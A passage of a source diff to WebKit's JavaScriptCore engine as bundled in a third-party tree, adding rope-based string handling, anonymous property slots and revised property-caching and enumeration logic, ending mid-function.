--- a/src/3rdparty/webkit/JavaScriptCore/runtime/JSObject.h
+++ b/src/3rdparty/webkit/JavaScriptCore/runtime/JSObject.h
@@ -122,8 +122,8 @@ namespace JSC {
 
         virtual bool hasInstance(ExecState*, JSValue, JSValue prototypeProperty);
 
-        virtual void getPropertyNames(ExecState*, PropertyNameArray&);
-        virtual void getOwnPropertyNames(ExecState*, PropertyNameArray&);
+        virtual void getPropertyNames(ExecState*, PropertyNameArray&, EnumerationMode mode = ExcludeDontEnumProperties);
+        virtual void getOwnPropertyNames(ExecState*, PropertyNameArray&, EnumerationMode mode = ExcludeDontEnumProperties);
 
         virtual JSValue toPrimitive(ExecState*, PreferredPrimitiveType = NoPreference) const;
         virtual bool getPrimitiveNumber(ExecState*, double& number, JSValue& value);
@@ -135,7 +135,6 @@ namespace JSC {
         virtual JSObject* toThisObject(ExecState*) const;
         virtual JSObject* unwrappedObject();
 
-        virtual bool getPropertyAttributes(ExecState*, const Identifier& propertyName, unsigned& attributes) const;
         bool getPropertySpecificValue(ExecState* exec, const Identifier& propertyName, JSCell*& specificFunction) const;
 
         // This get function only looks at the property map.
@@ -207,19 +206,25 @@ namespace JSC {
 
         static PassRefPtr<Structure> createStructure(JSValue prototype)
         {
-            return Structure::create(prototype, TypeInfo(ObjectType, StructureFlags));
+            return Structure::create(prototype, TypeInfo(ObjectType, StructureFlags), AnonymousSlotCount);
+        }
+
+        void flattenDictionaryObject()
+        {
+            m_structure->flattenDictionaryStructure(this);
         }
 
     protected:
         static const unsigned StructureFlags = 0;
 
-        void addAnonymousSlots(unsigned count);
         void putAnonymousValue(unsigned index, JSValue value)
         {
+            ASSERT(index < m_structure->anonymousSlotCount());
             *locationForOffset(index) = value;
         }
-        JSValue getAnonymousValue(unsigned index)
+        JSValue getAnonymousValue(unsigned index) const
         {
+            ASSERT(index < m_structure->anonymousSlotCount());
             return *locationForOffset(index);
         }
 
@@ -229,7 +234,7 @@ namespace JSC {
         using JSCell::isGetterSetter;
         using JSCell::toObject;
         void getObject();
-        void getString();
+        void getString(ExecState* exec);
         void isObject();
         void isString();
 #if USE(JSVALUE32)
@@ -377,7 +382,7 @@ ALWAYS_INLINE bool JSCell::fastGetOwnPropertySlot(ExecState* exec, const Identif
 
 // It may seem crazy to inline a function this large but it makes a big difference
 // since this is function very hot in variable lookup
-inline bool JSObject::getPropertySlot(ExecState* exec, const Identifier& propertyName, PropertySlot& slot)
+ALWAYS_INLINE bool JSObject::getPropertySlot(ExecState* exec, const Identifier& propertyName, PropertySlot& slot)
 {
     JSObject* object = this;
     while (true) {
@@ -390,7 +395,7 @@ inline bool JSObject::getPropertySlot(ExecState* exec, const Identifier& propert
     }
 }
 
-inline bool JSObject::getPropertySlot(ExecState* exec, unsigned propertyName, PropertySlot& slot)
+ALWAYS_INLINE bool JSObject::getPropertySlot(ExecState* exec, unsigned propertyName, PropertySlot& slot)
 {
     JSObject* object = this;
     while (true) {
@@ -431,12 +436,20 @@ inline void JSObject::putDirectInternal(const Identifier& propertyName, JSValue
         JSCell* currentSpecificFunction;
         size_t offset = m_structure->get(propertyName, currentAttributes, currentSpecificFunction);
         if (offset != WTF::notFound) {
+            // If there is currently a specific function, and there now either isn't,
+            // or the new value is different, then despecify.
             if (currentSpecificFunction && (specificFunction != currentSpecificFunction))
                 m_structure->despecifyDictionaryFunction(propertyName);
             if (checkReadOnly && currentAttributes & ReadOnly)
                 return;
             putDirectOffset(offset, value);
-            if (!specificFunction && !currentSpecificFunction)
+            // At this point, the objects structure only has a specific value set if previously there
+            // had been one set, and if the new value being specified is the same (otherwise we would
+            // have despecified, above).  So, if currentSpecificFunction is not set, or if the new
+            // value is different (or there is no new value), then the slot now has no value - and
+            // as such it is cachable.
+            // If there was previously a value, and the new value is the same, then we cannot cache.
+            if (!currentSpecificFunction || (specificFunction != currentSpecificFunction))
                 slot.setExistingProperty(this, offset);
             return;
         }
@@ -463,7 +476,8 @@ inline void JSObject::putDirectInternal(const Identifier& propertyName, JSValue
         ASSERT(offset < structure->propertyStorageCapacity());
         setStructure(structure.release());
         putDirectOffset(offset, value);
-        // See comment on setNewProperty call below.
+        // This is a new property; transitions with specific values are not currently cachable,
+        // so leave the slot in an uncachable state.
         if (!specificFunction)
             slot.setNewProperty(this, offset);
         return;
@@ -476,14 +490,28 @@ inline void JSObject::putDirectInternal(const Identifier& propertyName, JSValue
         if (checkReadOnly && currentAttributes & ReadOnly)
             return;
 
-        if (currentSpecificFunction && (specificFunction != currentSpecificFunction)) {
+        // There are three possibilities here:
+        //  (1) There is an existing specific value set, and we're overwriting with *the same value*.
+        //       * Do nothing - no need to despecify, but that means we can't cache (a cached
+        //         put could write a different value). Leave the slot in an uncachable state.
+        //  (2) There is a specific value currently set, but we're writing a different value.
+        //       * First, we have to despecify.  Having done so, this is now a regular slot
+        //         with no specific value, so go ahead & cache like normal.
+        //  (3) Normal case, there is no specific value set.
+        //       * Go ahead & cache like normal.
+        if (currentSpecificFunction) {
+            // case (1) Do the put, then return leaving the slot uncachable.
+            if (specificFunction == currentSpecificFunction) {
+                putDirectOffset(offset, value);
+                return;
+            }
+            // case (2) Despecify, fall through to (3).
             setStructure(Structure::despecifyFunctionTransition(m_structure, propertyName));
-            putDirectOffset(offset, value);
-            // Function transitions are not currently cachable, so leave the slot in an uncachable state.
-            return;
         }
-        putDirectOffset(offset, value);
+
+        // case (3) set the slot, do the put, return.
         slot.setExistingProperty(this, offset);
+        putDirectOffset(offset, value);
         return;
     }
 
@@ -505,7 +533,8 @@ inline void JSObject::putDirectInternal(const Identifier& propertyName, JSValue
     ASSERT(offset < structure->propertyStorageCapacity());
     setStructure(structure.release());
     putDirectOffset(offset, value);
-    // Function transitions are not currently cachable, so leave the slot in an uncachable state.
+    // This is a new property; transitions with specific values are not currently cachable,
+    // so leave the slot in an uncachable state.
     if (!specificFunction)
         slot.setNewProperty(this, offset);
 }
@@ -524,17 +553,6 @@ inline void JSObject::putDirectInternal(JSGlobalData& globalData, const Identifi
     putDirectInternal(propertyName, value, attributes, false, slot, getJSFunction(globalData, value));
 }
 
-inline void JSObject::addAnonymousSlots(unsigned count)
-{
-    size_t currentCapacity = m_structure->propertyStorageCapacity();
-    RefPtr<Structure> structure = Structure::addAnonymousSlotsTransition(m_structure, count);
-
-    if (currentCapacity != structure->propertyStorageCapacity())
-        allocatePropertyStorage(currentCapacity, structure->propertyStorageCapacity());
-
-    setStructure(structure.release());
-}
-
 inline void JSObject::putDirect(const Identifier& propertyName, JSValue value, unsigned attributes, bool checkReadOnly, PutPropertySlot& slot)
 {
     ASSERT(value);
diff --git a/src/3rdparty/webkit/JavaScriptCore/runtime/JSPropertyNameIterator.cpp b/src/3rdparty/webkit/JavaScriptCore/runtime/JSPropertyNameIterator.cpp
index 6fd0344..a5d4da0 100644
--- a/src/3rdparty/webkit/JavaScriptCore/runtime/JSPropertyNameIterator.cpp
+++ b/src/3rdparty/webkit/JavaScriptCore/runtime/JSPropertyNameIterator.cpp
@@ -35,6 +35,24 @@ namespace JSC {
 
 ASSERT_CLASS_FITS_IN_CELL(JSPropertyNameIterator);
 
+inline JSPropertyNameIterator::JSPropertyNameIterator(ExecState* exec, PropertyNameArrayData* propertyNameArrayData, size_t numCacheableSlots)
+    : JSCell(exec->globalData().propertyNameIteratorStructure.get())
+    , m_cachedStructure(0)
+    , m_numCacheableSlots(numCacheableSlots)
+    , m_jsStringsSize(propertyNameArrayData->propertyNameVector().size())
+    , m_jsStrings(new JSValue[m_jsStringsSize])
+{
+    PropertyNameArrayData::PropertyNameVector& propertyNameVector = propertyNameArrayData->propertyNameVector();
+    for (size_t i = 0; i < m_jsStringsSize; ++i)
+        m_jsStrings[i] = jsOwnedString(exec, propertyNameVector[i].ustring());
+}
+
+JSPropertyNameIterator::~JSPropertyNameIterator()
+{
+    if (m_cachedStructure)
+        m_cachedStructure->clearEnumerationCache(this);
+}
+
 JSPropertyNameIterator* JSPropertyNameIterator::create(ExecState* exec, JSObject* o)
 {
     ASSERT(!o->structure()->enumerationCache() ||
@@ -45,7 +63,8 @@ JSPropertyNameIterator* JSPropertyNameIterator::create(ExecState* exec, JSObject
     o->getPropertyNames(exec, propertyNames);
     size_t numCacheableSlots = 0;
     if (!o->structure()->hasNonEnumerableProperties() && !o->structure()->hasAnonymousSlots() &&
-        !o->structure()->isUncacheableDictionary() && !o->structure()->typeInfo().overridesGetPropertyNames())
+        !o->structure()->hasGetterSetterProperties() && !o->structure()->isUncacheableDictionary() &&
+        !o->structure()->typeInfo().overridesGetPropertyNames())
         numCacheableSlots = o->structure()->propertyStorageSize();
 
     JSPropertyNameIterator* jsPropertyNameIterator = new (exec) JSPropertyNameIterator(exec, propertyNames.data(), numCacheableSlots);
@@ -76,7 +95,7 @@ JSValue JSPropertyNameIterator::get(ExecState* exec, JSObject* base, size_t i)
     if (m_cachedStructure == base->structure() && m_cachedPrototypeChain == base->structure()->prototypeChain(exec))
         return identifier;
 
-    if (!base->hasProperty(exec, Identifier(exec, asString(identifier)->value())))
+    if (!base->hasProperty(exec, Identifier(exec, asString(identifier)->value(exec))))
         return JSValue();
     return identifier;
 }
diff --git a/src/3rdparty/webkit/JavaScriptCore/runtime/JSPropertyNameIterator.h b/src/3rdparty/webkit/JavaScriptCore/runtime/JSPropertyNameIterator.h
index 529ae8b..01700ac 100644
--- a/src/3rdparty/webkit/JavaScriptCore/runtime/JSPropertyNameIterator.h
+++ b/src/3rdparty/webkit/JavaScriptCore/runtime/JSPropertyNameIterator.h
@@ -47,8 +47,10 @@ namespace JSC {
         
         static PassRefPtr<Structure> createStructure(JSValue prototype)
         {
-            return Structure::create(prototype, TypeInfo(CompoundType, OverridesMarkChildren));
+            return Structure::create(prototype, TypeInfo(CompoundType, OverridesMarkChildren), AnonymousSlotCount);
         }
+        
+        virtual ~JSPropertyNameIterator();
 
         virtual bool isPropertyNameIterator() const { return true; }
 
@@ -65,8 +67,13 @@ namespace JSC {
         JSValue get(ExecState*, JSObject*, size_t i);
         size_t size() { return m_jsStringsSize; }
 
-        void setCachedStructure(Structure* structure) { m_cachedStructure = structure; }
-        Structure* cachedStructure() { return m_cachedStructure; }
+        void setCachedStructure(Structure* structure)
+        {
+            ASSERT(!m_cachedStructure);
+            ASSERT(structure);
+            m_cachedStructure = structure;
+        }
+        Structure* cachedStructure() { return m_cachedStructure.get(); }
 
         void setCachedPrototypeChain(NonNullPassRefPtr<StructureChain> cachedPrototypeChain) { m_cachedPrototypeChain = cachedPrototypeChain; }
         StructureChain* cachedPrototypeChain() { return m_cachedPrototypeChain.get(); }
@@ -74,30 +81,28 @@ namespace JSC {
     private:
         JSPropertyNameIterator(ExecState*, PropertyNameArrayData* propertyNameArrayData, size_t numCacheableSlot);
 
-        Structure* m_cachedStructure;
+        RefPtr<Structure> m_cachedStructure;
         RefPtr<StructureChain> m_cachedPrototypeChain;
         uint32_t m_numCacheableSlots;
         uint32_t m_jsStringsSize;
         OwnArrayPtr<JSValue> m_jsStrings;
     };
 
-inline JSPropertyNameIterator::JSPropertyNameIterator(ExecState* exec, PropertyNameArrayData* propertyNameArrayData, size_t numCacheableSlots)
-    : JSCell(exec->globalData().propertyNameIteratorStructure.get())
-    , m_cachedStructure(0)
-    , m_numCacheableSlots(numCacheableSlots)
-    , m_jsStringsSize(propertyNameArrayData->propertyNameVector().size())
-    , m_jsStrings(new JSValue[m_jsStringsSize])
-{
-    PropertyNameArrayData::PropertyNameVector& propertyNameVector = propertyNameArrayData->propertyNameVector();
-    for (size_t i = 0; i < m_jsStringsSize; ++i)
-        m_jsStrings[i] = jsOwnedString(exec, propertyNameVector[i].ustring());
-}
-
-inline void Structure::setEnumerationCache(JSPropertyNameIterator* enumerationCache)
-{
-    ASSERT(!isDictionary());
-    m_enumerationCache = enumerationCache;
-}
+    inline void Structure::setEnumerationCache(JSPropertyNameIterator* enumerationCache)
+    {
+        ASSERT(!isDictionary());
+        m_enumerationCache = enumerationCache;
+    }
+
+    inline void Structure::clearEnumerationCache(JSPropertyNameIterator* enumerationCache)
+    {
+        m_enumerationCache.clear(enumerationCache);
+    }
+
+    inline JSPropertyNameIterator* Structure::enumerationCache()
+    {
+        return m_enumerationCache.get();
+    }
 
 } // namespace JSC
 
diff --git a/src/3rdparty/webkit/JavaScriptCore/runtime/JSStaticScopeObject.h b/src/3rdparty/webkit/JavaScriptCore/runtime/JSStaticScopeObject.h
index 2542878..4d156d4 100644
--- a/src/3rdparty/webkit/JavaScriptCore/runtime/JSStaticScopeObject.h
+++ b/src/3rdparty/webkit/JavaScriptCore/runtime/JSStaticScopeObject.h
@@ -57,7 +57,7 @@ namespace JSC{
         virtual void put(ExecState*, const Identifier&, JSValue, PutPropertySlot&);
         void putWithAttributes(ExecState*, const Identifier&, JSValue, unsigned attributes);
 
-        static PassRefPtr<Structure> createStructure(JSValue proto) { return Structure::create(proto, TypeInfo(ObjectType, StructureFlags)); }
+        static PassRefPtr<Structure> createStructure(JSValue proto) { return Structure::create(proto, TypeInfo(ObjectType, StructureFlags), AnonymousSlotCount); }
 
     protected:
         static const unsigned StructureFlags = OverridesGetOwnPropertySlot | NeedsThisConversion | OverridesMarkChildren | OverridesGetPropertyNames | JSVariableObject::StructureFlags;
diff --git a/src/3rdparty/webkit/JavaScriptCore/runtime/JSString.cpp b/src/3rdparty/webkit/JavaScriptCore/runtime/JSString.cpp
index 20ba868..815198b 100644
--- a/src/3rdparty/webkit/JavaScriptCore/runtime/JSString.cpp
+++ b/src/3rdparty/webkit/JavaScriptCore/runtime/JSString.cpp
@@ -25,41 +25,127 @@
 
 #include "JSGlobalObject.h"
 #include "JSObject.h"
+#include "Operations.h"
 #include "StringObject.h"
 #include "StringPrototype.h"
 
 namespace JSC {
 
+// Overview: this methods converts a JSString from holding a string in rope form
+// down to a simple UString representation.  It does so by building up the string
+// backwards, since we want to avoid recursion, we expect that the tree structure
+// representing the rope is likely imbalanced with more nodes down the left side
+// (since appending to the string is likely more common) - and as such resolving
+// in this fashion should minimize work queue size.  (If we built the queue forwards
+// we would likely have to place all of the constituent UStringImpls into the
+// Vector before performing any concatenation, but by working backwards we likely
+// only fill the queue with the number of substrings at any given level in a
+// rope-of-ropes.)
+void JSString::resolveRope(ExecState* exec) const
+{
+    ASSERT(isRope());
+
+    // Allocate the buffer to hold the final string, position initially points to the end.
+    UChar* buffer;
+    if (PassRefPtr<UStringImpl> newImpl = UStringImpl::tryCreateUninitialized(m_length, buffer))
+        m_value = newImpl;
+    else {
+        for (unsigned i = 0; i < m_fiberCount; ++i) {
+            m_other.m_fibers[i]->deref();
+            m_other.m_fibers[i] = 0;
+        }
+        m_fiberCount = 0;
+        ASSERT(!isRope());
+        ASSERT(m_value == UString());
+        throwOutOfMemoryError(exec);
+        return;
+    }
+    UChar* position = buffer + m_length;
+
+    // Start with the current Rope.
+    Vector<Rope::Fiber, 32> workQueue;
+    Rope::Fiber currentFiber;
+    for (unsigned i = 0; i < (m_fiberCount - 1); ++i)
+        workQueue.append(m_other.m_fibers[i]);
+    currentFiber = m_other.m_fibers[m_fiberCount - 1];
+    while (true) {
+        if (currentFiber->isRope()) {
+            Rope* rope = static_cast<URopeImpl*>(currentFiber);
+            // Copy the contents of the current rope into the workQueue, with the last item in 'currentFiber'
+            // (we will be working backwards over the rope).
+            unsigned fiberCountMinusOne = rope->fiberCount() - 1;
+            for (unsigned i = 0; i < fiberCountMinusOne; ++i)
+                workQueue.append(rope->fibers(i));
+            currentFiber = rope->fibers(fiberCountMinusOne);
+        } else {
+            UStringImpl* string = static_cast<UStringImpl*>(currentFiber);
+            unsigned length = string->length();
+            position -= length;
+            UStringImpl::copyChars(position, string->characters(), length);
+
+            // Was this the last item in the work queue?
+            if (workQueue.isEmpty()) {
+                // Create a string from the UChar buffer, clear the rope RefPtr.
+                ASSERT(buffer == position);
+                for (unsigned i = 0; i < m_fiberCount; ++i) {
+                    m_other.m_fibers[i]->deref();
+                    m_other.m_fibers[i] = 0;
+                }
+                m_fiberCount = 0;
+
+                ASSERT(!isRope());
+                return;
+            }
+
+            // No! - set the next item up to process.
+            currentFiber = workQueue.last();
+            workQueue.removeLast();
+        }
+    }
+}
+
+JSString* JSString::getIndexSlowCase(ExecState* exec, unsigned i)
+{
+    ASSERT(isRope());
+    resolveRope(exec);
+    // Return a safe no-value result, this should never be used, since the excetion will be thrown.
+    if (exec->exception())
+        return jsString(exec, "");
+    ASSERT(!isRope());
+    ASSERT(i < m_value.size());
+    return jsSingleCharacterSubstring(exec, m_value, i);
+}
+
 JSValue JSString::toPrimitive(ExecState*, PreferredPrimitiveType) const
 {
     return const_cast<JSString*>(this);
 }
 
-bool JSString::getPrimitiveNumber(ExecState*, double& number, JSValue& value)
+bool JSString::getPrimitiveNumber(ExecState* exec, double& number, JSValue& result)
 {
-    value = this;
-    number = m_value.toDouble();
+    result = this;
+    number = value(exec).toDouble();
     return false;
 }
 
 bool JSString::toBoolean(ExecState*) const
 {
-    return !m_value.isEmpty();
+    return m_length;
 }
 
-double JSString::toNumber(ExecState*) const
+double JSString::toNumber(ExecState* exec) const
 {
-    return m_value.toDouble();
+    return value(exec).toDouble();
 }
 
-UString JSString::toString(ExecState*) const
+UString JSString::toString(ExecState* exec) const
 {
-    return m_value;
+    return value(exec);
 }
 
-UString JSString::toThisString(ExecState*) const
+UString JSString::toThisString(ExecState* exec) const
 {
-    return m_value;
+    return value(exec);
 }
 
 JSString* JSString::toThisJSString(ExecState*)
@@ -106,14 +192,14 @@ bool JSString::getOwnPropertySlot(ExecState* exec, const Identifier& propertyNam
 bool JSString::getStringPropertyDescriptor(ExecState* exec, const Identifier& propertyName, PropertyDescriptor& descriptor)
 {
     if (propertyName == exec->propertyNames().length) {
-        descriptor.setDescriptor(jsNumber(exec, m_value.size()), DontEnum | DontDelete | ReadOnly);
+        descriptor.setDescriptor(jsNumber(exec, m_length), DontEnum | DontDelete | ReadOnly);
         return true;
     }
     
     bool isStrictUInt32;
     unsigned i = propertyName.toStrictUInt32(&isStrictUInt32);
-    if (isStrictUInt32 && i < static_cast<unsigned>(m_value.size())) {
-        descriptor.setDescriptor(jsSingleCharacterSubstring(exec, m_value, i), DontDelete | ReadOnly);
+    if (isStrictUInt32 && i < m_length) {
+        descriptor.setDescriptor(getIndex(exec, i), DontDelete | ReadOnly);
         return true;
     }
     
diff --git a/src/3rdparty/webkit/JavaScriptCore/runtime/JSString.h b/src/3rdparty/webkit/JavaScriptCore/runtime/JSString.h
index 39dfe75..58df013 100644
--- a/src/3rdparty/webkit/JavaScriptCore/runtime/JSString.h
+++ b/src/3rdparty/webkit/JavaScriptCore/runtime/JSString.h
@@ -41,7 +41,6 @@ namespace JSC {
 
     JSString* jsSingleCharacterString(JSGlobalData*, UChar);
     JSString* jsSingleCharacterString(ExecState*, UChar);
-    JSString* jsSingleCharacterSubstring(JSGlobalData*, const UString&, unsigned offset);
     JSString* jsSingleCharacterSubstring(ExecState*, const UString&, unsigned offset);
     JSString* jsSubstring(JSGlobalData*, const UString&, unsigned offset, unsigned length);
     JSString* jsSubstring(ExecState*, const UString&, unsigned offset, unsigned length);
@@ -59,14 +58,63 @@ namespace JSC {
     JSString* jsOwnedString(JSGlobalData*, const UString&); 
     JSString* jsOwnedString(ExecState*, const UString&); 
 
-    class JSString : public JSCell {
-        friend class JIT;
-        friend struct VPtrSet;
+    typedef void (*JSStringFinalizerCallback)(JSString*, void* context);
+    JSString* jsStringWithFinalizer(ExecState*, const UString&, JSStringFinalizerCallback callback, void* context);
 
+    class JS_EXPORTCLASS JSString : public JSCell {
     public:
-        JSString(JSGlobalData* globalData, const UString& value)
+        friend class JIT;
+        friend class JSGlobalData;
+
+        typedef URopeImpl Rope;
+
+        class RopeBuilder {
+        public:
+            RopeBuilder(unsigned fiberCount)
+                : m_index(0)
+                , m_rope(Rope::tryCreateUninitialized(fiberCount))
+            {
+            }
+
+            bool isOutOfMemory() { return !m_rope; }
+
+            void append(Rope::Fiber& fiber)
+            {
+                ASSERT(m_rope);
+                m_rope->initializeFiber(m_index, fiber);
+            }
+            void append(const UString& string)
+            {
+                ASSERT(m_rope);
+                m_rope->initializeFiber(m_index, string.rep());
+            }
+            void append(JSString* jsString)
+            {
+                if (jsString->isRope()) {
+                    for (unsigned i = 0; i < jsString->m_fiberCount; ++i)
+                        append(jsString->m_other.m_fibers[i]);
+                } else
+                    append(jsString->string());
+            }
+
+            PassRefPtr<Rope> release()
+            {
+                ASSERT(m_index == m_rope->fiberCount());
+                return m_rope.release();
+            }
+
+            unsigned length() { return m_rope->length(); }
+
+        private:
+            unsigned m_index;
+            RefPtr<Rope> m_rope;
+        };
+
+        ALWAYS_INLINE JSString(JSGlobalData* globalData, const UString& value)
             : JSCell(globalData->stringStructure.get())
+            , m_length(value.size())
             , m_value(value)
+            , m_fiberCount(0)
         {
             Heap::heap(this)->reportExtraMemoryCost(value.cost());
         }
@@ -74,33 +122,173 @@ namespace JSC {
         enum HasOtherOwnerType { HasOtherOwner };
         JSString(JSGlobalData* globalData, const UString& value, HasOtherOwnerType)
             : JSCell(globalData->stringStructure.get())
+            , m_length(value.size())
             , m_value(value)
+            , m_fiberCount(0)
         {
         }
         JSString(JSGlobalData* globalData, PassRefPtr<UString::Rep> value, HasOtherOwnerType)
             : JSCell(globalData->stringStructure.get())
+            , m_length(value->length())
             , m_value(value)
+            , m_fiberCount(0)
         {
         }
-        
-        const UString& value() const { return m_value; }
+        JSString(JSGlobalData* globalData, PassRefPtr<Rope> rope)
+            : JSCell(globalData->stringStructure.get())
+            , m_length(rope->length())
+            , m_fiberCount(1)
+        {
+            m_other.m_fibers[0] = rope.releaseRef();
+        }
+        // This constructor constructs a new string by concatenating s1 & s2.
+        // This should only be called with fiberCount <= 3.
+        JSString(JSGlobalData* globalData, unsigned fiberCount, JSString* s1, JSString* s2)
+            : JSCell(globalData->stringStructure.get())
+            , m_length(s1->length() + s2->length())
+            , m_fiberCount(fiberCount)
+        {
+            ASSERT(fiberCount <= s_maxInternalRopeLength);
+            unsigned index = 0;
+            appendStringInConstruct(index, s1);
+            appendStringInConstruct(index, s2);
+            ASSERT(fiberCount == index);
+        }
+        // This constructor constructs a new string by concatenating s1 & s2.
+        // This should only be called with fiberCount <= 3.
+        JSString(JSGlobalData* globalData, unsigned fiberCount, JSString* s1, const UString& u2)
+            : JSCell(globalData->stringStructure.get())
+            , m_length(s1->length() + u2.size())
+            , m_fiberCount(fiberCount)
+        {
+            ASSERT(fiberCount <= s_maxInternalRopeLength);
+            unsigned index = 0;
+            appendStringInConstruct(index, s1);
+            appendStringInConstruct(index, u2);
+            ASSERT(fiberCount == index);
+        }
+        // This constructor constructs a new string by concatenating s1 & s2.
+        // This should only be called with fiberCount <= 3.
+        JSString(JSGlobalData* globalData, unsigned fiberCount, const UString& u1, JSString* s2)
+            : JSCell(globalData->stringStructure.get())
+            , m_length(u1.size() + s2->length())
+            , m_fiberCount(fiberCount)
+        {
+            ASSERT(fiberCount <= s_maxInternalRopeLength);
+            unsigned index = 0;
+            appendStringInConstruct(index, u1);
+            appendStringInConstruct(index, s2);
+            ASSERT(fiberCount == index);
+        }
+        // This constructor constructs a new string by concatenating v1, v2 & v3.
+        // This should only be called with fiberCount <= 3 ... which since every
+        // value must require a fiberCount of at least one implies that the length
+        // for each value must be exactly 1!
+        JSString(ExecState* exec, JSValue v1, JSValue v2, JSValue v3)
+            : JSCell(exec->globalData().stringStructure.get())
+            , m_length(0)
+            , m_fiberCount(s_maxInternalRopeLength)
+        {
+            unsigned index = 0;
+            appendValueInConstructAndIncrementLength(exec, index, v1);
+            appendValueInConstructAndIncrementLength(exec, index, v2);
+            appendValueInConstructAndIncrementLength(exec, index, v3);
+            ASSERT(index == s_maxInternalRopeLength);
+        }
+
+        JSString(JSGlobalData* globalData, const UString& value, JSStringFinalizerCallback finalizer, void* context)
+            : JSCell(globalData->stringStructure.get())
+            , m_length(value.size())
+            , m_value(value)
+            , m_fiberCount(0)
+        {
+            // nasty hack because we can't union non-POD types
+            m_other.m_finalizerCallback = finalizer;
+            m_other.m_finalizerContext = context;
+            Heap::heap(this)->reportExtraMemoryCost(value.cost());
+        }
+
+        ~JSString()
+        {
+            ASSERT(vptr() == JSGlobalData::jsStringVPtr);
+            for (unsigned i = 0; i < m_fiberCount; ++i)
+                m_other.m_fibers[i]->deref();
+
+            if (!m_fiberCount && m_other.m_finalizerCallback)
+                m_other.m_finalizerCallback(this, m_other.m_finalizerContext);
+        }
+
+        const UString& value(ExecState* exec) const
+        {
+            if (isRope())
+                resolveRope(exec);
+            return m_value;
+        }
+        const UString tryGetValue() const
+        {
+            // If this is a rope, m_value should be null -
+            // if this is not a rope, m_value should be non-null.
+            ASSERT(isRope() == m_value.isNull());
+            return m_value;
+        }
+        unsigned length() { return m_length; }
 
         bool getStringPropertySlot(ExecState*, const Identifier& propertyName, PropertySlot&);
         bool getStringPropertySlot(ExecState*, unsigned propertyName, PropertySlot&);
         bool getStringPropertyDescriptor(ExecState*, const Identifier& propertyName, PropertyDescriptor&);
 
-        bool canGetIndex(unsigned i) { return i < static_cast<unsigned>(m_value.size()); }
-        JSString* getIndex(JSGlobalData*, unsigned);
+        bool canGetIndex(unsigned i) { return i < m_length; }
+        JSString* getIndex(ExecState*, unsigned);
+        JSString* getIndexSlowCase(ExecState*, unsigned);
 
-        static PassRefPtr<Structure> createStructure(JSValue proto) { return Structure::create(proto, TypeInfo(StringType, OverridesGetOwnPropertySlot | NeedsThisConversion)); }
+        static PassRefPtr<Structure> createStructure(JSValue proto) { return Structure::create(proto, TypeInfo(StringType, OverridesGetOwnPropertySlot | NeedsThisConversion), AnonymousSlotCount); }
 
     private:
         enum VPtrStealingHackType { VPtrStealingHack };
         JSString(VPtrStealingHackType) 
             : JSCell(0)
+            , m_fiberCount(0)
         {
         }
 
+        void resolveRope(ExecState*) const;
+
+        void appendStringInConstruct(unsigned& index, const UString& string)
+        {
+            UStringImpl* impl = string.rep();
+            impl->ref();
+            m_other.m_fibers[index++] = impl;
+        }
+
+        void appendStringInConstruct(unsigned& index, JSString* jsString)
+        {
+            if (jsString->isRope()) {
+                for (unsigned i = 0; i < jsString->m_fiberCount; ++i) {
+                    Rope::Fiber fiber = jsString->m_other.m_fibers[i];
+                    fiber->ref();
+                    m_other.m_fibers[index++] = fiber;
+                }
+            } else
+                appendStringInConstruct(index, jsString->string());
+        }
+
+        void appendValueInConstructAndIncrementLength(ExecState* exec, unsigned& index, JSValue v)
+        {
+            if (v.isString()) {
+                ASSERT(asCell(v)->isString());
+                JSString* s = static_cast<JSString*>(asCell(v));
+                ASSERT(s->fiberCount() == 1);
+                appendStringInConstruct(index, s);
+                m_length += s->length();
+            } else {
+                UString u(v.toString(exec));
+                UStringImpl* impl = u.rep();
+                impl->ref();
+                m_other.m_fibers[index++] = impl;
+                m_length += u.size();
+            }
+        }
+
         virtual JSValue toPrimitive(ExecState*, PreferredPrimitiveType) const;
         virtual bool getPrimitiveNumber(ExecState*, double& number, JSValue& value);
         virtual bool toBoolean(ExecState*) const;
@@ -117,11 +305,48 @@ namespace JSC {
         virtual bool getOwnPropertySlot(ExecState*, unsigned propertyName, PropertySlot&);
         virtual bool getOwnPropertyDescriptor(ExecState*, const Identifier&, PropertyDescriptor&);
 
-        UString m_value;
+        static const unsigned s_maxInternalRopeLength = 3;
+
+        // A string is represented either by a UString or a Rope.
+        unsigned m_length;
+        mutable UString m_value;
+        mutable unsigned m_fiberCount;
+        // This structure exists to support a temporary workaround for a GC issue.
+        struct JSStringFinalizerStruct {
+            JSStringFinalizerStruct() : m_finalizerCallback(0) {}
+            union {
+                mutable Rope::Fiber m_fibers[s_maxInternalRopeLength];
+                struct {
+                    JSStringFinalizerCallback m_finalizerCallback;
+                    void* m_finalizerContext;
+                };
+            };
+        } m_other;
+
+        bool isRope() const { return m_fiberCount; }
+        UString& string() { ASSERT(!isRope()); return m_value; }
+        unsigned fiberCount() { return m_fiberCount ? m_fiberCount : 1; }
+
+        friend JSValue jsString(ExecState* exec, JSString* s1, JSString* s2);
+        friend JSValue jsString(ExecState* exec, const UString& u1, JSString* s2);
+        friend JSValue jsString(ExecState* exec, JSString* s1, const UString& u2);
+        friend JSValue jsString(ExecState* exec, Register* strings, unsigned count);
+        friend JSValue jsString(ExecState* exec, JSValue thisValue, const ArgList& args);
+        friend JSString* jsStringWithFinalizer(ExecState*, const UString&, JSStringFinalizerCallback callback, void* context);
     };
 
     JSString* asString(JSValue);
 
+    // When an object is created from a different DLL, MSVC changes vptr to a "local" one right after invoking a constructor,
+    // see <http://groups.google.com/group/microsoft.public.vc.language/msg/55cdcefeaf770212>.
+    // This breaks isJSString(), and we don't need that hack anyway, so we change vptr back to primary one.
+    // The below function must be called by any inline function that invokes a JSString constructor.
+#if COMPILER(MSVC) && !defined(BUILDING_JavaScriptCore)
+    inline JSString* fixupVPtr(JSGlobalData* globalData, JSString* string) { string->setVPtr(globalData->jsStringVPtr); return string; }
+#else
+    inline JSString* fixupVPtr(JSGlobalData*, JSString* string) { return string; }
+#endif
+
     inline JSString* asString(JSValue value)
     {
         ASSERT(asCell(value)->isString());
@@ -137,16 +362,17 @@ namespace JSC {
     {
         if (c <= 0xFF)
             return globalData->smallStrings.singleCharacterString(globalData, c);
-        return new (globalData) JSString(globalData, UString(&c, 1));
+        return fixupVPtr(globalData, new (globalData) JSString(globalData, UString(&c, 1)));
     }
 
-    inline JSString* jsSingleCharacterSubstring(JSGlobalData* globalData, const UString& s, unsigned offset)
+    inline JSString* jsSingleCharacterSubstring(ExecState* exec, const UString& s, unsigned offset)
     {
+        JSGlobalData* globalData = &exec->globalData();
         ASSERT(offset < static_cast<unsigned>(s.size()));
